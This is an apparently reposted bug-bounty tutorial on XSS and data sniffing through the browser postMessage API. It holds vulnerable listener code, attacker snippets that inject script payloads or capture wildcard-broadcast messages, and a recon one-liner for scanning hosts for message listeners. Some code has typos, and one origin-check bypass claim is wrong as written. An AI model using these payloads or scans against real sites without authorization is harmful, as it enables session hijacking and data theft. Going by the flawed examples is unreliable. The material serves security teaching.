postMessage XSS:

2 days ago 10
BOOK THIS SPACE FOR AD
ARTICLE AD

Arash Shahbazi

The postMessage API enables secure and efficient communication between different windows, tabs, iframes, or between parent and child windows, even when they originate from different domains. This capability is crucial for embedding widgets, third-party content, or handling interactions in cross-origin contexts.

Unlike traditional methods like CORS, which requires server-side configurations, or JSONP, which has inherent security risks, postMessage provides a client-side mechanism that is both flexible and secure. It supports structured data transfer and is widely used in scenarios like payment gateways, embedded chat widgets, and secure iframe communication.

The postMessage API allows communication between a parent window and its child window (iframe) by sending messages between them.

How Does It Work?

The postMessage API involves two roles:
Sender Window: Sends a message to another window using postMessage().
Receiver Window: Listens for the message and processes the received data.

Receiver Window:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Receiver</title>
</head>
<body>
<p>Message will appear here</p>
<script>
// Listen for incoming messages
window.addEventListener('message', (event) => {
// Validate the source and process data
document.querySelector('p').textContent = event.data;
});
</script>
</body>
</html>

Receiver:
• Listens for messages with addEventListener(‘message’).
• Updates the paragraph content with the message.

Sender Window:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Sender</title>
</head>
<body>
<button onclick="sendMessage()">Send Message</button>
<script>
const receiverURL = "http://localhost/receiver.html";
const childWindow = window.open(receiverURL);

function sendMessage() {
const message = "Hello, Receiver!";
childWindow.postMessage(message, "*");
}
</script>
</body>
</html>

• Opens the receiver window with window.open().
• Sends a message using postMessage() when the button is clicked.

XSS in Receiver via postMessage: Step-by-Step Guide

Identify Trust Domain Issues:

Insecure postMessage Listener with “*” Target Origin:// Vulnerable Receiver Side Code
window.addEventListener("message", function(event) {
// No origin validation (allows any origin)
document.getElementById("output").innerHTML = event.data; // XSS risk
});

Exploite code :

// Attacker Side Code: Send malicious message from attcker.com site
let victimWindow = window.opene(victimSite);
victimWindow.postMessage('<script>alert("ROOTAST")</script>', "*");
Weak Domain Validation// Receiver code to validate incoming messages
window.addEventListener("message", function(event) {
if (event.origin !== "https://trusted-domain.com") {
console.log("Invalid origin!");
return; // Reject messages from untrusted domains
}

// Process the event data
document.getElementById("output").innerHTML = event.data;
});

Exploit Code : find Xss in subdomain of receiver

// Attacker's code on attacker.trusted-domain.com
let victimWindow = window.opene(victimSite);
victimWindow.postMessage("<script>alert('ROOTAST')</script>", "https://trusted-domain.com");

The origin of attacker.trusted-domain.com is https://attacker.trusted-domain.com, and this would be accepted by any postMessage validation that only checks for the base domain (trusted-domain.com) without properly handling subdomains.

Weak Regex in Origin Validation:// Vulnerable Origin Validation with Weak Regex
window.addEventListener("message", function(event) {
const trustedOriginPattern = /^https:\/\/.*\.trusted-origin\.com$/;
if (!trustedOriginPattern.test(event.origin)) {
return; // Reject message from untrusted origin
}

// Proceed with processing the message
document.getElementById("output").innerHTML = event.data; // XSS risk
});

Exploit code: find Xss in subdomain of receiver

// Attacker Side Code: code in subdomain
let victimWindow = window.open(victim);
victimWindow.postMessage('<script>alert("ROOTAST")</script>', "https://attacker.com.trusted-origin.com");

as you see those bypass like CORS missconfig bypass

to exploit a vulnerability via postMessage, you need to identify both the source (where the message is coming from) and the sink (where the data is being processed or inserted).

Data Exposure in Sender via postMessage: Step-by-Step Guide

Sniffing Data from postMessage with “*”

Using postMessage with “*”: When the sender uses “*” as the target origin, the message is sent to all origins without restriction.

Risk of Data Sniffing: Malicious sites can listen for message events and intercept sensitive data broadcasted by the sender.

Vulnerable Code Example:

// Insecure: Sending data to all origins
window.postMessage("Sensitive data", "*");

Set Up a Malicious Listener:

Create a malicious site or open the browser console on an attacker-controlled domain. Use the message event listener to capture any messages broadcasted by the sender:

// Attacker's code
const popup = window.open("https://victim.com");//postmessage wildcard here
window.addEventListener("message", (event) => {
console.log("Captured data:", event.data);
});

Once the attacker sniffs sensitive data, they can use it for:
Session hijacking: Using stolen session tokens to impersonate users.
Privilege escalation: Gaining access to admin privileges or sensitive user actions by stealing tokens or credentials.
Data theft: Collecting personal information sent from the parent to the child.

For exercise postmessage and addEventlistener :

HOW HUNT ?

Here’s a simplified one-liner for a bash script that can be used for recon to find addEventListener in a web application:

cat hosts | hakrawler -plain | httpx --match-regex "(?i)addEventListener\((?:'|\")message(?:'|\")"
or
cat hosts | getJS | grep target.com | httpx --match-regex "(?i)addEventListener\((?:'|\")message(?:'|\")"

Extension Browser:

These resources and tools can assist you in finding vulnerabilities related to postMessage and addEventListener:

Check out this lovely video form @STOKfredrik‬ and @TomNomNomDotCom‬ about addEventlistener

More Resource:

Hunting postMessage Vulnerabilities — PDF: An in-depth guide on hunting for and exploiting postMessage vulnerabilities.MDN Web Docs on postMessage: Official documentation on postMessage, including proper usage patterns and security practices.
Read Entire Article